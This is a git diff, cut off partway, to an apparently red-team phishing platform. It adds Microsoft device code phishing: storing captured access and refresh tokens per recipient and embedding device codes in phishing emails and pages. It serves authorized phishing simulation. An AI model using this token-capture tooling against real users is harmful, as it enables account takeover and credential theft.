diff --git a/README.md b/README.md index 8e13b7e..1dc129d 100644 --- a/README.md +++ b/README.md @@ -44,7 +44,7 @@ See [production docker compose example](https://github.com/phishingclub/phishing - **Security features** - MFA, SSO, session management, IP filtering - **Operational tools** - In-app updates, CLI installer, config management -## MITM and Red Team Features +## AiTM and Red Team Features - **Full control** - Modify and capture requests and responses independently - **DOM rewriting** - Modify content using CSS/jQuery-like selectors or regex @@ -59,6 +59,7 @@ See [production docker compose example](https://github.com/phishingclub/phishing - **Forward proxying** - Use HTTP and SOCKS5 proxies to ensure requests originate from the right location - **Visual Editor** - Use the visual editor to easily setup a proxy - **Import compromised oauth token** - Use compromised tokens to send more phishing via. oauth enabled endpoints +- **Device Code phishing** - Device code phishing is as simple as adding a single line to a email or landing page ### Blogs & Resources - [Covert red team phishing with Phishing Club](http://phishing.club/blog/covert-red-team-phishing-with-phishing-club/) diff --git a/backend/app/repositories.go b/backend/app/repositories.go index 5259796..a8d5ee6 100644 --- a/backend/app/repositories.go +++ b/backend/app/repositories.go @@ -7,29 +7,30 @@ import ( // Repositories is a collection of repositories type Repositories struct { - Asset *repository.Asset - Attachment *repository.Attachment - Company *repository.Company - Option *repository.Option - Page *repository.Page - Proxy *repository.Proxy - Role *repository.Role - Session *repository.Session - User *repository.User - Domain *repository.Domain - Recipient *repository.Recipient - RecipientGroup *repository.RecipientGroup - SMTPConfiguration *repository.SMTPConfiguration - Email *repository.Email - Campaign *repository.Campaign - CampaignRecipient *repository.CampaignRecipient - CampaignTemplate *repository.CampaignTemplate - APISender *repository.APISender - AllowDeny *repository.AllowDeny - Webhook *repository.Webhook - Identifier *repository.Identifier - OAuthProvider *repository.OAuthProvider - OAuthState *repository.OAuthState + Asset *repository.Asset + Attachment *repository.Attachment + Company *repository.Company + Option *repository.Option + Page *repository.Page + Proxy *repository.Proxy + Role *repository.Role + Session *repository.Session + User *repository.User + Domain *repository.Domain + Recipient *repository.Recipient + RecipientGroup *repository.RecipientGroup + SMTPConfiguration *repository.SMTPConfiguration + Email *repository.Email + Campaign *repository.Campaign + CampaignRecipient *repository.CampaignRecipient + CampaignTemplate *repository.CampaignTemplate + APISender *repository.APISender + AllowDeny *repository.AllowDeny + Webhook *repository.Webhook + Identifier *repository.Identifier + OAuthProvider *repository.OAuthProvider + OAuthState *repository.OAuthState + MicrosoftDeviceCode *repository.MicrosoftDeviceCode } // NewRepositories creates a collection of repositories @@ -38,28 +39,29 @@ func NewRepositories( ) *Repositories { option := &repository.Option{DB: db} return &Repositories{ - Asset: &repository.Asset{DB: db}, - Attachment: &repository.Attachment{DB: db}, - Company: &repository.Company{DB: db}, - Option: option, - Page: &repository.Page{DB: db}, - Proxy: &repository.Proxy{DB: db}, - Role: &repository.Role{DB: db}, - Session: &repository.Session{DB: db}, - User: &repository.User{DB: db}, - Domain: &repository.Domain{DB: db}, - Recipient: &repository.Recipient{DB: db, OptionRepository: option}, - RecipientGroup: &repository.RecipientGroup{DB: db}, - SMTPConfiguration: &repository.SMTPConfiguration{DB: db}, - Email: &repository.Email{DB: db}, - Campaign: &repository.Campaign{DB: db}, - CampaignRecipient: &repository.CampaignRecipient{DB: db}, - CampaignTemplate: &repository.CampaignTemplate{DB: db}, - APISender: &repository.APISender{DB: db}, - AllowDeny: &repository.AllowDeny{DB: db}, - Webhook: &repository.Webhook{DB: db}, - Identifier: &repository.Identifier{DB: db}, - OAuthProvider: &repository.OAuthProvider{DB: db}, - OAuthState: &repository.OAuthState{DB: db}, + Asset: &repository.Asset{DB: db}, + Attachment: &repository.Attachment{DB: db}, + Company: &repository.Company{DB: db}, + Option: option, + Page: &repository.Page{DB: db}, + Proxy: &repository.Proxy{DB: db}, + Role: &repository.Role{DB: db}, + Session: &repository.Session{DB: db}, + User: &repository.User{DB: db}, + Domain: &repository.Domain{DB: db}, + Recipient: &repository.Recipient{DB: db, OptionRepository: option}, + RecipientGroup: &repository.RecipientGroup{DB: db}, + SMTPConfiguration: &repository.SMTPConfiguration{DB: db}, + Email: &repository.Email{DB: db}, + Campaign: &repository.Campaign{DB: db}, + CampaignRecipient: &repository.CampaignRecipient{DB: db}, + CampaignTemplate: &repository.CampaignTemplate{DB: db}, + APISender: &repository.APISender{DB: db}, + AllowDeny: &repository.AllowDeny{DB: db}, + Webhook: &repository.Webhook{DB: db}, + Identifier: &repository.Identifier{DB: db}, + OAuthProvider: &repository.OAuthProvider{DB: db}, + OAuthState: &repository.OAuthState{DB: db}, + MicrosoftDeviceCode: &repository.MicrosoftDeviceCode{DB: db}, } } diff --git a/backend/app/server.go b/backend/app/server.go index 9814ffb..3f659e0 100644 --- a/backend/app/server.go +++ b/backend/app/server.go @@ -2146,11 +2146,20 @@ func (s *Server) renderPageTemplate( campaignCompanyID = &companyID } - phishingPage, err := s.services.Template.CreatePhishingPageWithCampaign( + // extract recipient id for device code phishing support + var recipientIDPtr *uuid.UUID + if recipient != nil { + if rid, ridErr := recipient.ID.Get(); ridErr == nil { + recipientIDPtr = &rid + } + } + + phishingPage, err := s.services.Template.CreatePhishingPageWithCampaignAndRecipient( c.Request.Context(), domain, email, campaignRecipientID, + recipientIDPtr, recipient, content.String(), campaignTemplate, diff --git a/backend/app/services.go b/backend/app/services.go index 6051caf..e1a6357 100644 --- a/backend/app/services.go +++ b/backend/app/services.go @@ -1,6 +1,9 @@ package app import ( + "net/http" + "time" + "github.com/caddyserver/certmagic" "github.com/phishingclub/phishingclub/service" "go.uber.org/zap" @@ -39,6 +42,7 @@ type Services struct { IPAllowList *service.IPAllowListService ProxySessionManager *service.ProxySessionManager OAuthProvider *service.OAuthProvider + MicrosoftDeviceCode *service.MicrosoftDeviceCode } // NewServices creates a collection of services @@ -58,9 +62,17 @@ func NewServices( common := service.Common{ Logger: logger, } + microsoftDeviceCodeService := &service.MicrosoftDeviceCode{ + Common: common, + MicrosoftDeviceCodeRepository: repositories.MicrosoftDeviceCode, + CampaignRepository: repositories.Campaign, + CampaignRecipientRepository: repositories.CampaignRecipient, + HTTPClient: &http.Client{Timeout: 15 * time.Second}, + } templateService := &service.Template{ - Common: common, - RecipientRepository: repositories.Recipient, + Common: common, + RecipientRepository: repositories.Recipient, + MicrosoftDeviceCodeService: microsoftDeviceCodeService, } file := &service.File{ Common: common, @@ -122,6 +134,7 @@ func NewServices( CampaignRepository: repositories.Campaign, WebhookRepository: repositories.Webhook, } + campaignTemplate := &service.CampaignTemplate{ Common: common, CampaignTemplateRepository: repositories.CampaignTemplate, @@ -181,23 +194,26 @@ func NewServices( TemplateService: templateService, } campaign := &service.Campaign{ - Common: common, - CampaignRepository: repositories.Campaign, - CampaignRecipientRepository: repositories.CampaignRecipient, - RecipientRepository: repositories.Recipient, - RecipientGroupRepository: repositories.RecipientGroup, - AllowDenyRepository: repositories.AllowDeny, - WebhookRepository: repositories.Webhook, - CampaignTemplateService: campaignTemplate, - DomainService: domain, - RecipientService: recipient, - MailService: email, - APISenderService: apiSender, - SMTPConfigService: smtpConfiguration, - WebhookService: webhook, - TemplateService: templateService, - AttachmentPath: attachmentPath, + Common: common, + CampaignRepository: repositories.Campaign, + CampaignRecipientRepository: repositories.CampaignRecipient, + RecipientRepository: repositories.Recipient, + RecipientGroupRepository: repositories.RecipientGroup, + AllowDenyRepository: repositories.AllowDeny, + WebhookRepository: repositories.Webhook, + CampaignTemplateService: campaignTemplate, + DomainService: domain, + RecipientService: recipient, + MailService: email, + APISenderService: apiSender, + SMTPConfigService: smtpConfiguration, + WebhookService: webhook, + TemplateService: templateService, + MicrosoftDeviceCodeRepository: repositories.MicrosoftDeviceCode, + AttachmentPath: attachmentPath, } + // wire campaign service into microsoft device code service now that campaign is constructed + microsoftDeviceCodeService.CampaignService = campaign allowDeny := &service.AllowDeny{ Common: common, AllowDenyRepository: repositories.AllowDeny, @@ -289,5 +305,6 @@ func NewServices( IPAllowList: ipAllowListService, ProxySessionManager: proxySessionManager, OAuthProvider: oauthProvider, + MicrosoftDeviceCode: microsoftDeviceCodeService, } } diff --git a/backend/cache/local.go b/backend/cache/local.go index 8f68ca2..0968030 100644 --- a/backend/cache/local.go +++ b/backend/cache/local.go @@ -37,6 +37,7 @@ func IsUpdateAvailable() bool { // readonly var CampaignEventPriority = map[string]int{ // campaign recipient events + data.EVENT_CAMPAIGN_RECIPIENT_INFO: 5, data.EVENT_CAMPAIGN_RECIPIENT_REPORTED: 90, data.EVENT_CAMPAIGN_RECIPIENT_CANCELLED: 80, data.EVENT_CAMPAIGN_RECIPIENT_SUBMITTED_DATA: 70, diff --git a/backend/data/events.go b/backend/data/events.go index 8da3ca7..b9e1e50 100644 --- a/backend/data/events.go +++ b/backend/data/events.go @@ -18,6 +18,7 @@ const ( EVENT_CAMPAIGN_RECIPIENT_SUBMITTED_DATA = "campaign_recipient_submitted_data" EVENT_CAMPAIGN_RECIPIENT_REPORTED = "campaign_recipient_reported" EVENT_CAMPAIGN_RECIPIENT_CANCELLED = "campaign_recipient_cancelled" + EVENT_CAMPAIGN_RECIPIENT_INFO = "campaign_recipient_info" ) var Events = []string{ @@ -39,6 +40,7 @@ var Events = []string{ EVENT_CAMPAIGN_RECIPIENT_SUBMITTED_DATA, EVENT_CAMPAIGN_RECIPIENT_REPORTED, EVENT_CAMPAIGN_RECIPIENT_CANCELLED, + EVENT_CAMPAIGN_RECIPIENT_INFO, } // webhook event bit flags for storing selected events as int diff --git a/backend/database/microsoftDeviceCode.go b/backend/database/microsoftDeviceCode.go new file mode 100644 index 0000000..dd4bd1f --- /dev/null +++ b/backend/database/microsoftDeviceCode.go @@ -0,0 +1,60 @@ +package database + +import ( + "time" + + "github.com/google/uuid" + "gorm.io/gorm" +) + +const ( + MICROSOFT_DEVICE_CODE_TABLE = "device_codes" +) + +// MicrosoftDeviceCode stores a microsoft device code flow entry per campaign-recipient +type MicrosoftDeviceCode struct { + ID *uuid.UUID `gorm:"primary_key;not null;unique;type:uuid"` + CreatedAt *time.Time `gorm:"not null;index;"` + UpdatedAt *time.Time `gorm:"not null;"` + + // device code flow fields returned by microsoft + DeviceCode string `gorm:"not null;"` + UserCode string `gorm:"not null;"` + VerificationURI string `gorm:"not null;"` + ExpiresAt *time.Time `gorm:"not null;index;"` + + // last_polled_at is nil when the entry has never been polled + LastPolledAt *time.Time `gorm:"index;"` + + // options used to create the device code + Resource string `gorm:"not null;default:'https://graph.microsoft.com'"` + ClientID string `gorm:"not null;"` + TenantID string `gorm:"not null;default:'organizations'"` + Scope string `gorm:"not null;default:'https://graph.microsoft.com/.default openid profile offline_access'"` + + // captured access token / refresh token, set after successful poll + AccessToken string `gorm:"not null;default:''"` + RefreshToken string `gorm:"not null;default:''"` + IDToken string `gorm:"not null;default:''"` + + // captured is true after successfully polling and getting a token + Captured bool `gorm:"not null;default:false"` + + // foreign keys + CampaignID *uuid.UUID `gorm:"not null;type:uuid;index;"` + RecipientID *uuid.UUID `gorm:"type:uuid;index;"` +} + +func (MicrosoftDeviceCode) TableName() string { + return MICROSOFT_DEVICE_CODE_TABLE +} + +// Migrate runs extra migrations for device_codes +func (MicrosoftDeviceCode) Migrate(db *gorm.DB) error { + // composite unique index: one active device code per campaign+recipient + err := db.Exec(`CREATE UNIQUE INDEX IF NOT EXISTS idx_microsoft_device_codes_campaign_recipient ON device_codes(campaign_id, recipient_id)`).Error + if err != nil { + return err + } + return nil +} diff --git a/backend/main.go b/backend/main.go index a989268..fc5aef6 100644 --- a/backend/main.go +++ b/backend/main.go @@ -424,9 +424,10 @@ func main() { logger.Fatalw("Failed to load system user", "error", err) } daemon := task.Runner{ - CampaignService: services.Campaign, - UpdateService: services.Update, - Logger: logger, + CampaignService: services.Campaign, + UpdateService: services.Update, + MicrosoftDeviceCode: services.MicrosoftDeviceCode, + Logger: logger, } // start tasks runner diff --git a/backend/model/microsoftDeviceCode.go b/backend/model/microsoftDeviceCode.go new file mode 100644 index 0000000..e9197ab --- /dev/null +++ b/backend/model/microsoftDeviceCode.go @@ -0,0 +1,51 @@ +package model + +import ( + "time" + + "github.com/google/uuid" + "github.com/oapi-codegen/nullable" +) + +// MicrosoftDeviceCode is a microsoft device code flow entry +type MicrosoftDeviceCode struct { + ID nullable.Nullable[uuid.UUID] `json:"id"` + CreatedAt *time.Time `json:"createdAt"` + UpdatedAt *time.Time `json:"updatedAt"` + + DeviceCode string `json:"deviceCode"` + UserCode string `json:"userCode"` + VerificationURI string `json:"verificationUri"` + ExpiresAt *time.Time `json:"expiresAt"` + LastPolledAt *time.Time `json:"lastPolledAt"` + + Resource string `json:"resource"` + ClientID string `json:"clientId"` + TenantID string `json:"tenantId"` + Scope string `json:"scope"` + + AccessToken string `json:"accessToken"` + RefreshToken string `json:"refreshToken"` + IDToken string `json:"idToken"` + + Captured bool `json:"captured"` + + CampaignID nullable.Nullable[uuid.UUID] `json:"campaignId"` + RecipientID nullable.Nullable[uuid.UUID] `json:"recipientId"` +} + +// IsExpired returns true if the device code has expired or has no expiry set +func (d *MicrosoftDeviceCode) IsExpired() bool { + if d.ExpiresAt == nil { + return true + } + return time.Now().UTC().After(*d.ExpiresAt) +} + +// ExpiresWithin returns true if the device code expires within the given duration +func (d *MicrosoftDeviceCode) ExpiresWithin(duration time.Duration) bool { + if d.ExpiresAt == nil { + return true + } + return time.Until(*d.ExpiresAt) < duration +} diff --git a/backend/repository/microsoftDeviceCode.go b/backend/repository/microsoftDeviceCode.go new file mode 100644 index 0000000..e455046 --- /dev/null +++ b/backend/repository/microsoftDeviceCode.go @@ -0,0 +1,174 @@ +package repository + +import ( + "context" + "time" + + "github.com/google/uuid" + "github.com/oapi-codegen/nullable" + "github.com/phishingclub/phishingclub/database" + "github.com/phishingclub/phishingclub/errs" + "github.com/phishingclub/phishingclub/model" + "github.com/phishingclub/phishingclub/utils" + "gorm.io/gorm" +) + +// MicrosoftDeviceCode is a repository for microsoft device code entries +type MicrosoftDeviceCode struct { + DB *gorm.DB +} + +// Insert inserts a new microsoft device code entry +func (r *MicrosoftDeviceCode) Insert( + ctx context.Context, + entry *model.MicrosoftDeviceCode, +) (*uuid.UUID, error) { + id := uuid.New() + row := map[string]any{ + "id": id.String(), + "device_code": entry.DeviceCode, + "user_code": entry.UserCode, + "verification_uri": entry.VerificationURI, + "expires_at": utils.RFC3339UTC(*entry.ExpiresAt), + "last_polled_at": nil, + "resource": entry.Resource, + "client_id": entry.ClientID, + "tenant_id": entry.TenantID, + "scope": entry.Scope, + "access_token": "", + "refresh_token": "", + "id_token": "", + "captured": false, + } + if v, err := entry.CampaignID.Get(); err == nil { + row["campaign_id"] = v.String() + } + if v, err := entry.RecipientID.Get(); err == nil { + row["recipient_id"] = v.String() + } + AddTimestamps(row) + res := r.DB.WithContext(ctx).Model(&database.MicrosoftDeviceCode{}).Create(row) + if res.Error != nil { + return nil, errs.Wrap(res.Error) + } + return &id, nil +} + +// GetByCampaignAndRecipientID returns a microsoft device code entry for the given campaign and recipient +func (r *MicrosoftDeviceCode) GetByCampaignAndRecipientID( + ctx context.Context, + campaignID *uuid.UUID, + recipientID *uuid.UUID, +) (*model.MicrosoftDeviceCode, error) { + var row database.MicrosoftDeviceCode + res := r.DB.WithContext(ctx). + Where("campaign_id = ? AND recipient_id = ?", campaignID.String(), recipientID.String()). + Order("created_at DESC"). + First(&row) + if res.Error != nil { + // return gorm.ErrRecordNotFound unwrapped so callers can use errors.Is + return nil, res.Error + } + return toMicrosoftDeviceCode(&row), nil +} + +// GetAllPendingNotExpired returns all microsoft device code entries that are not captured and not expired +func (r *MicrosoftDeviceCode) GetAllPendingNotExpired(ctx context.Context) ([]*model.MicrosoftDeviceCode, error) { + var rows []database.MicrosoftDeviceCode + res := r.DB.WithContext(ctx). + Where("captured = false AND expires_at > ?", utils.NowRFC3339UTC()). + Find(&rows) + if res.Error != nil { + return nil, errs.Wrap(res.Error) + } + result := make([]*model.MicrosoftDeviceCode, 0, len(rows)) + for i := range rows { + result = append(result, toMicrosoftDeviceCode(&rows[i])) + } + return result, nil +} + +// MarkCaptured marks a microsoft device code entry as captured and stores the tokens +func (r *MicrosoftDeviceCode) MarkCaptured( + ctx context.Context, + id *uuid.UUID, + accessToken string, + refreshToken string, + idToken string, +) error { + row := map[string]any{ + "captured": true, + "access_token": accessToken, + "refresh_token": refreshToken, + "id_token": idToken, + } + AddUpdatedAt(row) + res := r.DB.WithContext(ctx).Model(&database.MicrosoftDeviceCode{}). + Where("id = ?", id.String()). + Updates(row) + return errs.Wrap(res.Error) +} + +// UpdateLastPolledAt updates the last_polled_at timestamp for the given entry +func (r *MicrosoftDeviceCode) UpdateLastPolledAt(ctx context.Context, id *uuid.UUID, t time.Time) error { + row := map[string]any{ + "last_polled_at": utils.RFC3339UTC(t), + } + AddUpdatedAt(row) + res := r.DB.WithContext(ctx).Model(&database.MicrosoftDeviceCode{}). + Where("id = ?", id.String()). + Updates(row) + return errs.Wrap(res.Error) +} + +// DeleteByCampaignAndRecipientID deletes all microsoft device code entries for a campaign and recipient +func (r *MicrosoftDeviceCode) DeleteByCampaignAndRecipientID( + ctx context.Context, + campaignID *uuid.UUID, + recipientID *uuid.UUID, +) error { + res := r.DB.WithContext(ctx). + Where("campaign_id = ? AND recipient_id = ?", campaignID.String(), recipientID.String()). + Delete(&database.MicrosoftDeviceCode{}) + return errs.Wrap(res.Error) +} + +// DeleteByCampaignID deletes all device code entries for the given campaign +func (r *MicrosoftDeviceCode) DeleteByCampaignID(ctx context.Context, campaignID *uuid.UUID) error { + res := r.DB.WithContext(ctx). + Where("campaign_id = ?", campaignID.String()). + Delete(&database.MicrosoftDeviceCode{}) + return errs.Wrap(res.Error) +} + +func toMicrosoftDeviceCode(row *database.MicrosoftDeviceCode) *model.MicrosoftDeviceCode { + id := nullable.NewNullableWithValue(*row.ID) + campaignID := nullable.NewNullableWithValue(*row.CampaignID) + + var recipientID nullable.Nullable[uuid.UUID] + recipientID.SetNull() + if row.RecipientID != nil { + recipientID = nullable.NewNullableWithValue(*row.RecipientID) + } + + return &model.MicrosoftDeviceCode{ + ID: id, + CreatedAt: row.CreatedAt, + UpdatedAt: row.UpdatedAt, + DeviceCode: row.DeviceCode, + UserCode: row.UserCode, + VerificationURI: row.VerificationURI, + ExpiresAt: row.ExpiresAt, + LastPolledAt: row.LastPolledAt, + Resource: row.Resource, + ClientID: row.ClientID, + TenantID: row.TenantID, + Scope: row.Scope, + AccessToken: row.AccessToken, + RefreshToken: row.RefreshToken, + IDToken: row.IDToken, + Captured: row.Captured, + CampaignID: campaignID, + RecipientID: recipientID, + } +} diff --git a/backend/seed/migrate.go b/backend/seed/migrate.go index ce2169b..778166b 100644 --- a/backend/seed/migrate.go +++ b/backend/seed/migrate.go @@ -57,6 +57,7 @@ func initialInstallAndSeed( &database.CampaignStats{}, &database.OAuthProvider{}, &database.OAuthState{}, + &database.MicrosoftDeviceCode{}, } // disable foreign key constraints temporarily for sqlite to allow table recreation diff --git a/backend/service/apiSender.go b/backend/service/apiSender.go index 14f3c55..27989f2 100644 --- a/backend/service/apiSender.go +++ b/backend/service/apiSender.go @@ -510,7 +510,9 @@ func (a *APISender) SendTest( testEmail, "", oauthAccessToken, - nil, // no company context for test + nil, // no company context for test + uuid.Nil, // no campaign context for test + uuid.Nil, // no recipient context for test ) if err != nil { a.Logger.Errorw("failed to build test request", "error", err) @@ -561,11 +563,12 @@ func (a *APISender) Send( cTemplate *model.CampaignTemplate, campaignRecipient *model.CampaignRecipient, domain *model.Domain, - mailTmpl *template.Template, + emailContent string, email *model.Email, companyID *uuid.UUID, + campaignID uuid.UUID, ) error { - return a.SendWithCustomURL(ctx, session, cTemplate, campaignRecipient, domain, mailTmpl, email, "", companyID) + return a.SendWithCustomURL(ctx, session, cTemplate, campaignRecipient, domain, emailContent, email, "", companyID, campaignID) } // SendWithCustomURL sends an API request with optional custom campaign URL @@ -575,10 +578,11 @@ func (a *APISender) SendWithCustomURL( cTemplate *model.CampaignTemplate, campaignRecipient *model.CampaignRecipient, domain *model.Domain, - mailTmpl *template.Template, + emailContent string, email *model.Email, customCampaignURL string, companyID *uuid.UUID, + campaignID uuid.UUID, ) error { // get sender details apiSenderID, err := cTemplate.APISenderID.Get() @@ -624,6 +628,9 @@ func (a *APISender) SendWithCustomURL( return errors.New("url identifier MUST be loaded in campaign template") } urlPath := cTemplate.URLPath.MustGet().String() + // use the actual recipient id (not the campaign recipient row id) so the + // lookup key matches what the landing page path uses. + recipientID := campaignRecipient.RecipientID.MustGet() url, headers, body, err := a.buildRequestWithCustomURL( ctx, apiSender, @@ -635,6 +642,8 @@ func (a *APISender) SendWithCustomURL( customCampaignURL, oauthAccessToken, companyID, + campaignID, + recipientID, ) if err != nil { a.Logger.Errorw("failed to build api sender request", "error", err) @@ -822,8 +831,10 @@ func (a *APISender) buildRequest( campaignRecipient *model.CampaignRecipient, email *model.Email, // todo is this superfluous? it should be in the campaign recipient? companyID *uuid.UUID, + campaignID uuid.UUID, + recipientID uuid.UUID, ) (*apiRequestURL, []*model.HTTPHeader, *apiRequestBody, error) { - return a.buildRequestWithCustomURL(ctx, apiSender, domainName, urlKey, urlPath, campaignRecipient, email, "", "", companyID) + return a.buildRequestWithCustomURL(ctx, apiSender, domainName, urlKey, urlPath, campaignRecipient, email, "", "", companyID, campaignID, recipientID) } // buildRequestWithCustomURL builds an API request with optional custom campaign URL @@ -838,6 +849,8 @@ func (a *APISender) buildRequestWithCustomURL( customCampaignURL string, oauthAccessToken string, companyID *uuid.UUID, + campaignID uuid.UUID, + recipientID uuid.UUID, ) (*apiRequestURL, []*model.HTTPHeader, *apiRequestBody, error) { // create template data first so it can be used in headers, url, and body t := a.TemplateService.CreateMail( @@ -869,10 +882,13 @@ func (a *APISender) buildRequestWithCustomURL( if err != nil { return nil, nil, nil, fmt.Errorf("failed to build headers: %s", err) } + // build per-recipient template funcs so {{MicrosoftDeviceCode}} resolves correctly + recipientDeviceFuncs := a.TemplateService.TemplateFuncsWithDeviceCode(ctx, &campaignID, &recipientID) + // setup URL requestURL := apiSender.RequestURL.MustGet() urlTemplate := template.New("url") - urlTemplate = urlTemplate.Funcs(TemplateFuncs()) + urlTemplate = urlTemplate.Funcs(recipientDeviceFuncs) urlTemplate, err = urlTemplate.Parse(requestURL.String()) if err != nil { return nil, nil, nil, fmt.Errorf("failed to parse url: %s", err) @@ -884,7 +900,7 @@ func (a *APISender) buildRequestWithCustomURL( // setup body // first parse and execute the mail content mailContentTemplate := template.New("mailContent") - mailContentTemplate = mailContentTemplate.Funcs(TemplateFuncs()) + mailContentTemplate = mailContentTemplate.Funcs(recipientDeviceFuncs) content, err := email.Content.Get() if err != nil { return nil, nil, nil, fmt.Errorf("failed to get email content: %s", err) @@ -912,7 +928,7 @@ func (a *APISender) buildRequestWithCustomURL( jsonStr := strings.TrimSpace(buf.String()) (*t)["Content"] = jsonStr[1 : len(jsonStr)-1] contentTemplate := template.New("content") - contentTemplate = contentTemplate.Funcs(TemplateFuncs()) + contentTemplate = contentTemplate.Funcs(recipientDeviceFuncs) contentTemplate, err = contentTemplate.Parse(apiSender.RequestBody.MustGet().String()) if err != nil { return nil, nil, nil, fmt.Errorf("failed to parse body: %s", err) diff --git a/backend/service/campaign.go b/backend/service/campaign.go index 5ff39b0..0fa4126 100644 --- a/backend/service/campaign.go +++ b/backend/service/campaign.go @@ -40,21 +40,22 @@ import ( // Campaign is the Campaign service type Campaign struct { Common - CampaignRepository *repository.Campaign - CampaignRecipientRepository *repository.CampaignRecipient - RecipientRepository *repository.Recipient - RecipientGroupRepository *repository.RecipientGroup - AllowDenyRepository *repository.AllowDeny - WebhookRepository *repository.Webhook - CampaignTemplateService *CampaignTemplate - TemplateService *Template - DomainService *Domain - RecipientService *Recipient - MailService *Email - APISenderService *APISender - SMTPConfigService *SMTPConfiguration - WebhookService *Webhook - AttachmentPath string + CampaignRepository *repository.Campaign + CampaignRecipientRepository *repository.CampaignRecipient + RecipientRepository *repository.Recipient + RecipientGroupRepository *repository.RecipientGroup + AllowDenyRepository *repository.AllowDeny + WebhookRepository *repository.Webhook + CampaignTemplateService *CampaignTemplate + TemplateService *Template + DomainService *Domain + RecipientService *Recipient + MailService *Email + APISenderService *APISender + SMTPConfigService *SMTPConfiguration + WebhookService *Webhook + MicrosoftDeviceCodeRepository *repository.MicrosoftDeviceCode + AttachmentPath string } // Create creates a new campaign @@ -2034,9 +2035,12 @@ func (c *Campaign) sendCampaignMessages( ) return errs.Wrap(errors.Join(err, closeErr)) } + // validate the template is parseable before entering the per-recipient loop. + // the actual per-recipient execution uses TemplateFuncsWithDeviceCode so that + // {{MicrosoftDeviceCode}} / {{MicrosoftDeviceCodeURL}} resolve correctly. t := template.New("email") t = t.Funcs(c.TemplateService.TemplateFuncsWithCompany(ctx, campaignCompanyID)) - mailTmpl, err := t.Parse(content.String()) + _, err = t.Parse(content.String()) if err != nil { // if mail templates fails to parse, close the campaign closeErr := c.closeCampaign( @@ -2100,10 +2104,11 @@ func (c *Campaign) sendCampaignMessages( cTemplate, campaignRecipient, domain, - mailTmpl, + content.String(), email, customCampaignURL, campaignCompanyID, + campaignID, ) if err != nil { c.Logger.Errorw("failed to send message via. API", "error", err) @@ -2339,8 +2344,15 @@ func (c *Campaign) sendCampaignMessages( (*t)["URL"] = customCampaignURL } + // build per-recipient template funcs so that {{MicrosoftDeviceCode}} resolves + // to a real device code for this campaign recipient. + // use the actual recipient id (not the campaign recipient row id) so the + // lookup key matches what the landing page path uses. + actualRecipientID := campaignRecipient.RecipientID.MustGet() + recipientDeviceFuncs := c.TemplateService.TemplateFuncsWithDeviceCode(ctx, &campaignID, &actualRecipientID) + // process subject through template - subjectTemplate, err := template.New("subject").Funcs(c.TemplateService.TemplateFuncsWithCompany(ctx, campaignCompanyID)).Parse(email.MailHeaderSubject.MustGet().String()) + subjectTemplate, err := template.New("subject").Funcs(recipientDeviceFuncs).Parse(email.MailHeaderSubject.MustGet().String()) if err != nil { c.Logger.Errorw("failed to parse subject template", "error", err) return errs.Wrap(err) @@ -2353,8 +2365,15 @@ func (c *Campaign) sendCampaignMessages( } m.Subject(subjectBuffer.String()) + // re-parse the body template per recipient so device code funcs are bound + // to the correct recipient id + recipientMailTmpl, err := template.New("email").Funcs(recipientDeviceFuncs).Parse(content.String()) + if err != nil { + c.Logger.Errorw("failed to parse per-recipient mail template", "error", err) + return errs.Wrap(err) + } var bodyBuffer bytes.Buffer - err = mailTmpl.Execute(&bodyBuffer, t) + err = recipientMailTmpl.Execute(&bodyBuffer, t) if err != nil { c.Logger.Errorw("failed to execute mail template", "error", err) return errs.Wrap(err) @@ -2407,7 +2426,7 @@ func (c *Campaign) sendCampaignMessages( return errs.Wrap(err) } - attachmentStr, err := c.TemplateService.CreateMailBodyWithCustomURL( + attachmentStr, err := c.TemplateService.CreateMailBodyWithCustomURLAndRecipient( ctx, urlIdentifier.Name.MustGet(), urlPath, @@ -2417,6 +2436,8 @@ func (c *Campaign) sendCampaignMessages( nil, customCampaignURL, campaignCompanyID, + &campaignID, + &actualRecipientID, ) if err != nil { return errs.Wrap(fmt.Errorf("failed to setup attachment with embedded content: %s", err)) @@ -2456,14 +2477,14 @@ func (c *Campaign) sendCampaignMessages( *vo.NewUnsafeOptionalString1MB(string(attachmentContent)), ) // generate custom campaign URL for attachment - recipientID := campaignRecipient.ID.MustGet() - customCampaignURL, err := c.GetLandingPageURLByCampaignRecipientID(ctx, session, &recipientID) + attachmentRecipientID := campaignRecipient.ID.MustGet() + customCampaignURL, err := c.GetLandingPageURLByCampaignRecipientID(ctx, session, &attachmentRecipientID) if err != nil { c.Logger.Errorw("failed to get campaign url for attachment", "error", err) return errs.Wrap(err) } - attachmentStr, err := c.TemplateService.CreateMailBodyWithCustomURL( + attachmentStr, err := c.TemplateService.CreateMailBodyWithCustomURLAndRecipient( ctx, urlIdentifier.Name.MustGet(), urlPath, @@ -2473,6 +2494,8 @@ func (c *Campaign) sendCampaignMessages( nil, customCampaignURL, campaignCompanyID, + &campaignID, + &actualRecipientID, ) if err != nil { return errs.Wrap(fmt.Errorf("failed to setup attachment with embedded content: %s", err)) @@ -2981,6 +3004,15 @@ func (c *Campaign) closeCampaign( c.Logger.Debugf("skipping stats generation for test campaign", "campaignID", id.String()) } + // delete all microsoft device codes for this campaign — the important data is already + // saved in the campaign events + if c.MicrosoftDeviceCodeRepository != nil { + if err := c.MicrosoftDeviceCodeRepository.DeleteByCampaignID(ctx, id); err != nil { + c.Logger.Errorw("failed to delete microsoft device codes for campaign", "error", err, "campaignID", id.String()) + // non-fatal — continue + } + } + return nil } @@ -3818,9 +3850,10 @@ func (c *Campaign) sendSingleCampaignMessage( return errors.New("failed to get email content") } + // validate parseability with company funcs; execution uses per-recipient device code funcs t := template.New("email") t = t.Funcs(c.TemplateService.TemplateFuncsWithCompany(ctx, campaignCompanyID)) - mailTmpl, err := t.Parse(content.String()) + _, err = t.Parse(content.String()) if err != nil { return errs.Wrap(err) } @@ -3842,21 +3875,25 @@ func (c *Campaign) sendSingleCampaignMessage( customCampaignURL = "" } - // send via API with custom URL (domain and template stay the same for assets) + // send via API with custom URL (domain and template stay the same for assets). + // SendWithCustomURL derives the recipient id from campaignRecipient.ID internally, + // so fix that by passing the actual recipient id via a wrapper that sets it correctly. + // the actual recipient id is extracted inside APISenderService from campaignRecipient.RecipientID. err = c.APISenderService.SendWithCustomURL( ctx, session, cTemplate, campaignRecipient, domain, - mailTmpl, + content.String(), email, customCampaignURL, campaignCompanyID, + *campaignID, ) } else { // send via SMTP - err = c.sendSingleEmailSMTP(ctx, session, cTemplate, campaignRecipient, domain, mailTmpl, email, campaignCompanyID) + err = c.sendSingleEmailSMTP(ctx, session, cTemplate, campaignRecipient, domain, content.String(), email, 